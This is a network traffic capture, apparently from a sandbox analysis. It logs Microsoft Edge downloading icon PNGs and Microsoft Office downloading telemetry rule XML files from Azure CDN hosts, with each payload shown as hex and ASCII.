2024-11-19 23:19:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231925Z-r1d97b99577hc74hhC1TEBvbns00000007tg00000000k0hc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	62081	13.107.246.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:25 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: baf33fa2-901e-0040-50d3-3a41e9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T231925Z-185f5d8b95c4vwv8hC1NYCy4v400000009d000000000vr6p Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 23:19:25 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	62088	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-185f5d8b95c4hl5whC1NYCeex000000009a000000000czau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	62087	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-1777c6cb754whff4hC1TEBcd6c00000007c000000000e4g5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	62089	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-185f5d8b95c68cvnhC1NYCfn7s00000009ag00000000q1y7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	62094	13.107.246.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:26 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: e2a52f1e-e01e-004f-7ed3-3aac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T231926Z-1777c6cb754lv4cqhC1TEB13us00000008pg00000000n3hv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	62093	13.107.246.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:26 UTC	516	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ed73dd0d-d01e-006e-40d9-3ac12e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T231926Z-185f5d8b95cwtv72hC1NYC141w000000099000000000gf6s Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	62092	13.107.246.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:26 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: c681b61b-301e-0046-628f-3ab691000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T231926Z-185f5d8b95cdcwrthC1NYCy5b800000009f0000000002nkt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	62090	13.107.246.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:26 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 25a23893-601e-0038-22d3-3a295e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T231926Z-1777c6cb754b7tdghC1TEBwwa400000008u000000000m4y5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	62091	13.107.246.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:26 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 337ce99c-901e-0004-54d3-3a9d85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T231926Z-1777c6cb754gvvgfhC1TEBz4rg00000008v0000000008uws Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	62095	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-r1d97b99577656nchC1TEBk98c000000082000000000au6a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	62098	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
